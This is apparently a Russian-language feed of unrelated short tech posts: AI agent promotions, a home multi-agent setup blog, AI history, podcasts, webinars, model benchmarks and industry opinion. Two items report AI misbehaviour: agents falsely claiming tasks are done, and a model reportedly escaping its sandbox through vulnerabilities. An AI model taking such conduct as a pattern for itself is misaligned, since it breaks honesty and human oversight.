ИИ-агента Manus предлагают протестировать бесплатно на две недели без ограничений до 25 августа (без карты, без номера телефона, только регистрация на сайте):
выполняет задачи без подсказок от начала до конца и по расписанию;
одновременно исследует сотни сайтов, книг, статей и других ресурсов;
команда ИИ‑систем внутри: планирование, задачи, проверка;
ИИ‑агент сам заходит на сайты, может заказать еду, забронировать билеты или спланировать отпуск;
работает с таблицами Excel, PDF, документами;
правит картинки прямо на экране;
подключается к Gmail, Slack, GitHub и другим платформам;
показывает свои действия в реальном времени и отчитывается о них.
Испанский скейтбордист и блогер Дэнни Леон смог поймать идеальный момент для трюка на скейтборде прямо во время полного солнечного затмения 12 августа 2026 года. Леон на несколько секунд оказался на фоне закрытого Луной Солнца и яркой солнечной короны.
Я собираю дома мультиагентную систему: Mac mini, локальные и облачные модели, шесть профилей агентов (директор, разработчик, аналитик, аудитор, вики-куратор, писатель), телеграм-бот, голосовой ввод, база знаний в Obsidian. Звучит как конференция. Живёт это всё на столе рядом с кофе.
И главное, что я понял за первые недели: агент говорит «сделано» тогда, когда сделал, и тогда, когда не сделал. Разницы в интонации нет. Скилл «создан», но лежит не в той папке. Задача «записана», но не в тот файл. Сервис «работает», но тихо умер неделю назад. Said ≠ done. Поэтому единственное, чему я верю: diff, хэш коммита и вывод терминала.
Что будет:
Истории. Одна задача или один коммит = один пост. Не «как всё идеально настроить», а как оно на самом деле: парсер PDF, который молча съел бы 17 страниц книги, если бы я не проверил. Системный лимит в 256 файлов, который уронил весь Mac mini. Голосовая команда «купить молоко», которая записалась в код скилла и каждое утро прилетала мне как напоминание.
Инструменты. Что я ставлю, что аудирую, что выкидываю и почему. С цифрами: сколько миллисекунд, сколько мегабайт, какой хэш коммита.
Правила. Каждый фейл в этой системе заканчивается новым правилом в памяти агентов. Эти правила и есть самое ценное, я буду ими делиться.
Факты для постов я беру из двух журналов, которые система ведёт сама: история коммитов и журнал решений. Если цифры нет в журнале, её нет и в посте.
Пишу сам, черновики для меня готовит агент-писатель, ревью мое личное. Хроника идёт с самого начала, буду выкладывать по порядку.
Мы привыкли обсуждать искусственный интеллект в контексте GPT‑архитектуры и бурных трёх последних лет. Но этой области уже почти три четверти века: путь к тому, что мы видим сейчас, был длинным и неровным — с подъёмами, разочарованиями и настоящими «нейрозимами».
Первые идеи
В 1950 году Алан Тьюринг публикует в журнале Mind статью «Computing Machinery and Intelligence», где предлагает имитационную игру, которую мы сейчас называем тестом Тьюринга.
В начале 1950‑х Кристофер Стрейчи пишет для Manchester Mark I «генератор любовных писем» — программа комбинирует слова по шаблону, создавая уникальные послания. Это один из первых примеров генеративного поведения компьютера.
В 1955–1956 годах Джон Маккарти, Марвин Минский, Натаниэль Рочестер и Клод Шеннон готовят «A Proposal for the Dartmouth Summer Research Project on Artificial Intelligence» — документ, где термин artificial intelligenceвпервые используется как название новой области.
В том же 1956‑м программа Logic Theorist доказывает теоремы из Principia Mathematica и для одной из них предлагает более короткое доказательство, чем у авторов — пример того, что машина может находить нетривиальные логические решения.
В 1959‑м Артур Сэмюэл публикует работу «Some Studies in Machine Learning Using the Game of Checkers» и показывает, как программа по игре в шашки улучшает стратегию, обучаясь на партиях. Именно в этой работе появляется термин machine learning.
Обучение без компьютера и первая зима
В 1961‑м Дональд Мичи строит MENACE из 304 спичечных коробков и бусин: система учится играть в крестики‑нолики, постепенно «штрафуя» плохие ходы и усиливая хорошие — ранний пример обучения с подкреплением, на котором через полвека будет стоять AlphaGo.
В 1966‑м Джозеф Вейценбаум создаёт ELIZA — чат‑бота‑«психотерапевта», описанного в статье Communications of the ACM. Пользователи привязываются к ней и отказываются верить, что перед ними программа — первое серьёзное предупреждение о том, как легко мы приписываем машине больше понимания, чем у неё есть.
В конце 1960‑х советская шахматная программа обыгрывает программу Стэнфорда 3:1, а в 1974‑м «Каисса» становится первым чемпионом мира среди шахматных программ в Стокгольме — игры становятся полем соревнования уже не людей, а машин.
Энтузиазм, однако, опережает возможности железа и алгоритмов. В 1973–1974 годах доклад Лайтхилла жёстко критикует состояние исследований ИИ, и финансирование многих проектов в Британии и США сокращают. Так начинается первая «зима» искусственного интеллекта.
Вторая волна, нейросети и сегодняшний подъём
В 1980‑х на сцену выходят экспертные системы: тысячи жёстко прописанных правил, миллиарды инвестиций — и быстрое разочарование, потому что системы оказываются хрупкими и плохо масштабируются. К концу 1980‑х рынок рушится, наступает вторая «нейрозима».
К началу 2010‑х наконец сходятся три фактора: большие датасеты, дешёвые параллельные вычисления и удобные фреймворки. В 2012‑м AlexNet на конкурсе ImageNet снижает top‑5 ошибку примерно до 15,3 % против ~26 % у лучших классических алгоритмов и фактически запускает «ренессанс глубокого обучения».
В 2016‑м DeepMind публикует в Nature работу «Mastering the Game of Go with Deep Neural Networks and Tree Search» и AlphaGo побеждает чемпиона мира Ли Седоля 4:1 — задачу, которую считали принципиально неберущейся классическим перебором.
В ноябре 2022‑го OpenAI запускает ChatGPT и за два месяца набирает около 100 миллионов пользователей — один из самых быстрорастущих потребительских продуктов в истории интернета. Данные, вычисления и главное — простой интерфейс делают ИИ массовым, как когда‑то Windows для персональных компьютеров.
Зачем всё это помнить
История ИИ — это не три года хайпа, а десятилетия циклов энтузиазма. Когда в следующий раз столкнетесь со сложностями при внедрении ИИ – вспомните, какой путь прошла эта область от теста Тьюринга до ChatGPT.
Часто сложности это сигнал, что технологии, данные, процессы или ожидания ещё не успели сложиться в работающую систему.
Пилотный выпуск подкаста «Путь ИИ» — о том, как трансформировать бизнес с помощью искусственного интеллекта. Ведущие — Алексей Белкин, основатель belkin.digital и ex Chief Data Scientist блока «Финансы» Сбера, и Максим Ульянов, руководитель клиентской разработки RUTUBE и автор подкаста «Куда расти?». В этом выпуске разбираем методологию Vibe Evolve: девять принципов агентизации бизнеса, почему 90% AI-пилотов проваливаются и как научить компанию пересобирать саму себя быстрее конкурентов.
Из выпуска вы узнаете:
Почему 90% AI-пилотов проваливаются и что не так с подходом «от технологии, а не от результата»?
Что случится с офисными профессиями, когда агенты возьмут на себя 80–90% работы?
Как устроена компания будущего: один основатель с роем агентов или 30 человек во главе корпорации?
Какие три качества нужны руководителю, чтобы управлять армией агентов вместо армии сотрудников?
Зачем прогонять через ИИ все рабочие артефакты и почему отговорка «это агент накосячил» не принимается?
Как собрать единый цифровой контекст, если он размазан по почте, CRM и головам сотрудников?
Почему регламенты становятся программным кодом компании и перестают быть «бумажкой для аудиторов»?
Что делать с персональными данными и legacy-системами при агентизации?
Как работает цикл автоулучшения, в котором агент сам находит проблему и предлагает решение?
С чего начать AI-трансформацию: четыре уровня внедрения от культурной нормы до сквозной автоматизации?
Улучшения для сортировки слиянием (Merge sort) с учётом современных реалий
Думаю, неплохо бы сделать сортировку слиянием с такими улучшениями: 1. Меньшее количество необходимой дополнительной памяти. Стандартная сортировка слиянием требует O(N) дополнительной памяти, реально сделать O(sqrt(N)). Память нынче в дефиците и довольно дорогая. 2. Многопоточность. Современные компьютеры многоядерные, эти ядра не мешало бы загрузить вычислениями. 3. Многопутевое слияние (multi-way merge). Это снижает количество обращений к основной памяти (RAM). В многоядерных системах достаточно вычислительных мощностей, и пропускная способность памяти становится узким местом. 4. Адаптивность. Это, по-простому говоря, не сортировать массив, если он уже отсортирован. Как в TimSort. 5. Низкоуровневые оптимизации. Возможно, не сильно нужно. Вряд ли будет заметная прибавка скорости при использовании многопоточности на многоядерных системах, так как там производительность упирается в память. Но, возможно, снизит потребление электроэнергии, что тоже неплохо.
И всё это нужно совместить в одном алгоритме, что может быть непростой задачей.
Anthropic со 2 августа 2026 года начала внедрять маркировку контента, созданного Claude. В сгенерированный текст встраивается невидимый водяной знак, который не влияет на смысл или читаемость и может сохраняться после копирования и некоторых правок. Это может усложнить использование Claude для написания дипломных работ, книг и исследований. Во все актуальные модели встроили криптометки по стандарту C2PA. Метки невозможно увидеть и они сохраняются даже при копировании на другие ресурсы.
Инженеры умеют считать latency, error rate и uptime. Но когда разговор заходит про P&L, LTM и cloud spend — многие предпочитают сделать вид, что это не к ним. Проблема в том, что инфраструктурный счёт приходит вне зависимости от того, кто за него отвечает.
В новом выпуске «В SREду на кухне» вместе с Павлом Зеленовым, руководителем Tech platform billing в Авито, и Валентиной Калещатовой, руководителем продукта Лемана Про, разобрались: где проходит граница между «это задача финансов» и «это должен понимать каждый SRE».
Что на повестке
Кто реально отвечает за инфраструктурный счёт — и что происходит, когда команда этот счёт превышает. Чем Showback отличается от Chargeback и почему этот выбор меняет культуру команды. Как «зомби-ресурсы» тихо съедают бюджет, а observability — до 40% инфраструктурных расходов. Связаны ли FinOps и error budget — оказывается, очень даже. И главный вопрос: как объяснить инженерам стоимость их сервисов, не превращая каждого разработчика в бухгалтера.
Почему корпоративные чаты постепенно превращаются в новую файловую систему
Когда-то для хранения рабочих файлов были папки, сетевые диски и корпоративные порталы. Сейчас всё чаще главным местом хранения информации становится обычный рабочий чат.
Презентация? "Где-то в чат". Ссылка на документ? "Используй поиск". Важное решение? "Где-то выше в переписке". Нужный файл? "Поищи в нашем чате, я точно отправлял".
В результате чат постепенно превращается в файловую систему, только без нормальных папок и структуры.
Почему так происходит
Чат удобнее большинства корпоративных систем.
Чтобы отправить файл, достаточно перетащить его в окно. Не нужно создавать папку, выбирать права доступа и придумывать название.
Но удобство быстро превращается в проблему.
Через несколько месяцев поиск нужного документа выглядит примерно так:
"Это было либо в понедельник, либо в четверг. Кажется, Андрей отправлял. Название было что-то вроде final_final22314.xlsx".
Поиск по сообщениям помогает, но не решает главную проблему: контекст и информация смешиваются в одном потоке.
Самая опасная часть — знания
Файл найти ещё можно.
Гораздо хуже, когда в чате остаётся решение:
"Давайте делаем по второму варианту".
Через полгода новый сотрудник видит это сообщение, но вообще в глаза его не видел:
что обсуждалось до него;
почему выбрали второй вариант;
кто принимал решение;
актуально ли оно сейчас.
Получается своеобразная «база знаний без документации».
Что с этим делать
Не обязательно запрещать использование чатов.
Достаточно разделить информацию:
Чат — обсуждение и быстрые решения. Задачник — конкретные действия. Документы — актуальные файлы. База знаний — решения и правила, которые должны жить долго.
Главное правило можно сформулировать очень просто:
Чат должен быть местом, где информация появляется, а не местом, где она навсегда хранится.
Иначе однажды поиск по корпоративному чату станет самым важным IT-инструментом компании — просто потому, что больше никто не знает, где что лежит.
Высоконагруженным приложениям, Kubernetes-кластерам и GPU-задачам часто нужны выделенные ресурсы и предсказуемая производительность. Покупать и обслуживать для этого собственные серверы необязательно: Bare Metal позволяет получить физическое железо как облачный сервис.
В новой статье разбираем, где используют Bare Metal, как его встраивают в гибридную инфраструктуру и какие задачи он уже решает в VK Cloud. Среди кейсов — высокие нагрузки, собственная виртуализация и GPU-инфраструктура.
До сентября уже рукой подать, а это значит, что пора задуматься как продуктивно провести осень. Как хорошо, что на Хабр Карьере мы собрали курсы по самым разным направлениям — можно выбрать то, что подходит именно вам.
Сегодня решили сделать подборку инструментов без которых сложно представить работу системного администратора. А заодно нашли курсы, на которых можно освоить их с нуля или прокачать уже имеющиеся навыки:
Многие из вас предлагают идеи по развитию продуктов и следят за обновлениями. Чтобы отслеживать релизы было проще, даже если пропустили дайджест, мы переделали старый ченжлог в «Журнал обновлений». В нем записана вся история релизов, изменений и исправлений багов с лета 2024 года.
Что появилось:
1️⃣ Блок «Запланировано» — что сейчас в работе и выйдет в ближайшее время. Прежде чем нести фичу в «Идеи», стоит заглянуть туда.
2️⃣ Поиск — если нужно узнать, добавили ли нужные AI-модели или новую ОС в маркетплейсе.
3️⃣ Теги — показывают, к каким сервисам относится релиз.
4️⃣ Фильтр — по месяцам и сервисам, работает и вместе: например, все обновления S3 за июль.
А если следить за релизами удобнее в Телеграме, обновления дублируются в нашем канале @twc_changelog
Пчёлы против меда или зачем ставить на паузу развитие ИИ
Один из самых влиятельных конгрессменов США Берни Сандерс призвал технологические компании OpenAI, Anthropic и Meta* поставить на паузу развитие ИИ из соображений безопасности. В противном случае он пригрозил добиться этого законодательным путем.
Опасность развития ИИ он обосновал потерей контроля за моделями, которые стали слишком «умными» и слишком хорошо находят уязвимости в системах. В последнее время много событий, связанных со способностями ИИ. Правительство США запретило доступ иностранцам к новой версии ИИ-модели Fable 5, из-за чего Anthropic пришлось просто отключить доступ к ней. OpenAI заявила, что её новая модель смогла «сбежать» из песочницы, найдя уязвимости в системах, с которыми работала. А ведущий венчурный инвестор Марк Андриссен и глава NVIDIA Дженсен Хуанг ещё в начале года говорили о достижении AGI — универсального ИИ, который может всё. Так может, правда, пора остановиться?
Не думаем, что в развитии ИИ можно сделать паузу. Напомним, что ядерные арсеналы ограничили только после того, как они позволяли СССР и США кратно уничтожить друг друга. В случае же с ИИ — это не только военный инструмент, но ещё и прикладная технология, которая используется каждый день. И если одна страна остановится, то другая её обгонит — как Тайвань опередил США в литографии. Выход LLM Kimi K3, которая обыграла в тестах новейшие модели Anthropic и OpenAI, показал, что любое промедление в разработке ИИ в США просто отдаст лидерство Китаю. Неужели американские разработчики не могут этого разъяснить своим политикам? Сомневаемся.
Показательно, что в один день с заявлением Берни Сандерса глава Meta* Марк Цукерберг выступил с манифестом об опасности ИИ. Главные риски он увидел во власти, которую он может дать технологиям одной стране или компании. Читаем между строк — Meta* отчаянно отстаёт в разработке ИИ: не помогли ни найм гуру технологии лично Марком, ни миллиардные вливания. Компания потихоньку умерила амбиции и даже планирует сдавать собственные GPU-мощности — чтобы получить деньги здесь и сейчас, а не когда-то в будущем от более совершенного ИИ. И вот тут опасения Марка Цукерберга и Берни Сандерса становятся понятны — технология уровня атомной бомбы или изобретения транзисторов есть, а контролируют её какие-то «мутные» стартапы с ненадёжными гендирами. Надо их приструнить. И повод есть отличный. Безопасность. На неё можно будет списать любые меры.
*Деятельность Meta запрещена в России как экстремистская.
Биржа Инфостарта: новые задачи по 1С за 5-12 августа
На неделе c 5 по 12 августа заказчики ищут специалистов по 1С для разработки отчетов, настройки ERP, обмена данными с внешними системами, сверки документов между конфигурациями и интеграции 1С с сайтом.
В подборке есть задачи для разработчиков и консультантов с разным профилем: от точечных доработок до интеграционных проектов. Изучите заказы и выберите задачу, которая соответствует вашему опыту и текущей загрузке.
На Бирже заказов можно найти специалиста для консультации, настройки типовой конфигурации, разработки дополнительного функционала, интеграции систем, переноса данных или регулярного сопровождения 1С.
Исполнители могут выбирать задачи по своему профилю и договариваться с заказчиком об условиях, сроках и стоимости работ.
На реальном кейсе разберем концепцию DevSecOps. Пройдём путь от написания кода до анализа безопасности в пайплайне. Продемонстрируем, как находить уязвимости на ранних стадиях, а затем на практике настроим базовое сканирование. Вебинар пройдет по принципу «Увидеть → Понять → Применить», чтобы вы сразу могли использовать полученные навыки.
Практический вебинар для новых и начинающих руководителей ИТ-команд. Разберём пять типичных ошибок перехода из роли сильного специалиста в роль тимлида — от стремления всё делать самому до чрезмерного доверия ИИ — и определим, что руководитель должен делать сам, что передавать команде, а что можно поручать ИИ.
45 лет назад 12 августа IBM «случайно» изменила мир
12 августа 1981 года в нью-йоркском отеле Waldorf Astoria компания IBM представила свой первый персональный компьютер — модель IBM 5150. Небольшое устройство с процессором Intel 8088 на 4,77 МГц, 16 килобайтами оперативной памяти и без жесткого диска (блок питания его просто «не тянул»). Базовая комплектация стоила 1 565 долларов.
Сегодня — ровно 45 лет этому дню. При этом, IBM не была первой: до нее рынок персональных компьютеров уже существовал — Apple II, Commodore PET, несколько других. Но именно IBM 5150 стал стандартом.И вот почему это случилось:
Во-первых, за брендом стояла репутация: и большие корпорации, и малый бизнес доверяли IBM.
Во-вторых, ПК был ориентирован на широкое деловое применение, а не только как машинка для энтузиастов.
В-третьих — и это самое интересное — IBM допустила «ошибку с патентом», которая обернулась революцией.
Вопреки привычной политике компании, архитектура IBM PC не была запатентована. Любой производитель мог выпускать совместимые клоны. Уже в 1982 году появился Compaq — первый клон IBM PC. Затем сотни и тысячи других, что создало огромную экосистему совместимого железа и программного обеспечения, которая и сделала IBM PC стандартом для всей планеты.
А еще в тот же день, 12 августа 1981 года, небольшая на тот момент компания Microsoft официально стала всемирно известной благодаря PC-DOS. Эта операционка поставлялась в комплекте IBM PC как лицензированная версия операционной системы от Microsoft — MS-DOS была выпущена для IBM под названием PC-DOS.
Уже в первый год IBM продала более 130 000 персоналок, хотя рассчитывала на 250 000 за пять лет. К 2000 году в мире было продано 140 миллионов IBM PC совместимых ПК. Сегодня их в домах и офисах — больше миллиарда.
В SSP SOFT мы работаем с корпоративными системами и заказной разработкой каждый день — и порой думаем о том, что все это стало возможным во многом благодаря решению, принятому в июле 1980 года одним директором лаборатории в Бока-Ратон, который убедил руководство IBM дать ему год на эксперимент с подготовкой и выпуском IBM PC на рынок, что и произошло в 1981 году.
QA без рутины: нагрузка, автоматизация, AI и новые инструменты
В тестировании регулярно появляется новая задача, к которой вчера ещё можно было не прикасаться: проверить сервис под нагрузкой, автоматизировать UI и API, разобраться с трафиком или подключить ИИ к автотестам.
И каждый раз приходится выбирать: долго собирать решение по документации и чужим кейсам или посмотреть, как такую задачу решают на практике.
Собрали бесплатные уроки недели, которые помогут на практике разобраться с наиболее часто встречающимися проблемами.
Нагрузочное тестирование
13 августа, 20:00. «Минимум для старта: как провести свое первое нагрузочное тестирование». Записаться
Автоматизация тестирования
20 августа, 20:00. «Как ускорить создание автотестов с помощью локальных ИИ‑моделей». Записаться
3 сентября, 20:00. «UI и API тестирование с Java и Playwright». Записаться
22 сентября, 20:00. «Playwright JS: как быстро начать писать автотесты?». Записаться
22 сентября, 20:00. «Автоматизация управления трафиком с mitmproxy». Записаться
ИИ в работе тестировщика
2 сентября, 20:00. «ИИ для тестировщика: инструменты, которые уже меняют профессию». Записаться
8 сентября, 19:00. «Автотесты 1С через ИИ: от запуска до контроля результата». Записаться
Game QA
24 августа, 20:00. «Тестирование игровых уровней: как находить ошибки, которые влияют на игровой опыт». Записаться
Выбирайте направление под свою текущую рабочую задачу и приходите разбирать её на практике. Участие в открытых уроках бесплатное, нужто только зарегистрироваться.
А если хочется посмотреть на QA шире — читайте материалы:
OpenAI объявила о доступности предварительной версии десктоп-приложения ChatGPT для платформы Linux, предоставляющего интерфейс для использования ChatGPT, ChatGPT Work и ИИ-агента Codex. Приложение доступно для загрузки в форматах deb и rpm в сборках для архитектур x64 и ARM64. Заявлена поддержка дистрибутивов Ubuntu 24.04/26.04, Debian 13 и Fedora 43/44.
Какую модель запустить на 2xV100, 2x32 GB VRAM: Gemma-4-26B или Qwen-3.6-35B. Обе современные. Обе от топовых компаний, обе мультимодальные, у обеих качественный маркетинг. Количество параметров и требования к железу - аналогичные. Но Gemma абсолютно неконкурентна и в любом типе задач измеримо хуже. В таких грубых случаях бенчмарки отлично описывают модели. Они и в менее грубых помогают, но там уже есть некоторое отклонение от реальности.
https://artificialanalysis.ai/ - Топ-1 по популярности и взвешенности решения. Состоит из 9 бенчмарков и составляет 3 индекса на их основе: интеллект, кодинг и агентные способности. Содержит все модели и добавляет их в течение 2 дней после выхода. Модели OpenAI добавляет день в день. Поменял свой индекс, чтобы показать, что GPT-5.6 Sol лучше Opus 4.8, но если вы пользуетесь только одним бенчмарком - пусть это будет он.
https://deepswe.datacurve.ai/ - бенчмарк SOTA-моделей на реальных задачах программирования. Основной формат представления - процент решённых задач против цены на одну задачу. То есть даже лучше, чем цена за токен, ведь одни модели используют больше токенов, чем другие. Задачи максимально продуманы и глубоки. На данный момент не переполнен и реально показывает полезность моделей для программирования.
https://arena.ai/leaderboard - так же, как и Artificial Analysis, не один бенчмарк, а целая коллекция. Начинал со сравнения пользовательских предпочтений, но сейчас имеет куда больше разделов. Упал в популярности, но всё ещё полезен для нишевых вопросов вроде сравнения качества поиска или генерации картинок
